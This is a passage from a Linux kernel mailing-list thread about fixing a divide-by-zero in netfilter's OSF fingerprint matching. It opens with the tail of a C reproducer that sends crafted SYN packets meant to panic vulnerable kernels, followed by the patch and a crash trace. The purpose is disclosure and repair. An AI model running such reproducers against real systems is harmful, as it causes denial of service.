5; i++) { printf("[*] SYN %d/5\n", i + 1); send_matching_syn(); usleep(100000); } printf("[*] Done. Kernel should have crashed if vulnerable.\n"); return 0; } ``` I'll submit a v2 patch as a follow-up. Thanks, Xiang On Tue, Apr 14, 2026 at 4:17 AM Pablo Neira Ayuso <pablo@netfilter.org> wrote: > > Xiang Mei says: > > The OSF_WSS_MODULO branch in nf_osf_match_one() performs: > > ctx->window % f->wss.val > > without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN > can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0 > via nfnetlink. When a matching TCP SYN packet arrives, the kernel > executes a division by zero and panics. > > The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match > everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0, > any window value matches rather than dividing by zero. > > Crash: > Oops: divide error: 0000 [#1] SMP KASAN NOPTI > RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) > Call Trace: > <IRQ> > nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6)) > xt_osf_match_packet (net/netfilter/xt_osf.c:32) > ipt_do_table (net/ipv4/netfilter/ip_tables.c:348) > nf_hook_slow (net/netfilter/core.c:622 (discriminator 1)) > ip_local_deliver (net/ipv4/ip_input.c:265) > ip_rcv (include/linux/skbuff.h:1162) > __netif_receive_skb_one_core (net/core/dev.c:6181) > process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642) > __napi_poll (net/core/dev.c:7710) > net_rx_action (net/core/dev.c:7945) > handle_softirqs (kernel/softirq.c:622 > > Fix this from control plane, reject f->wss.val == 0 if wss.ws is > OSF_WSS_MODULO. > > Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match") > Reported-by: Xiang Mei <xmei5@asu.edu> > Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> > --- > Apologies, I don't mean to step on your feet with this patch. > This just expedites scrutiny before PR submission. > > net/netfilter/nfnetlink_osf.c | 9 +++++++++ > 1 file changed, 9 insertions(+) > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > index 5d15651c74f0..bf47a3812910 100644 > --- a/net/netfilter/nfnetlink_osf.c > +++ b/net/netfilter/nfnetlink_osf.c > @@ -329,6 +329,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4) > return -EINVAL; > > + switch (f->wss.wc) { > + case OSF_WSS_MODULO: > + if (f->wss.val == 0) > + return -EINVAL; > + break; > + default: > + break; > + } > + > tot_opt_len += f->opt[i].length; > if (tot_opt_len > MAX_IPOPTLEN) > return -EINVAL; > -- > 2.47.3 > ^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-04-14 22:00 UTC | newest] Thread overview: 8+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei 2026-04-11 7:56 ` Fernando Fernandez Mancera 2026-04-11 20:41 ` Florian Westphal 2026-04-14 11:01 ` Pablo Neira Ayuso 2026-04-14 11:11 ` Florian Westphal 2026-04-14 22:00 ` Xiang Mei -- strict thread matches above, loose matches on Subject: below -- 2026-04-14 11:17 Pablo Neira Ayuso 2026-04-14 21:58 ` Xiang Mei
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox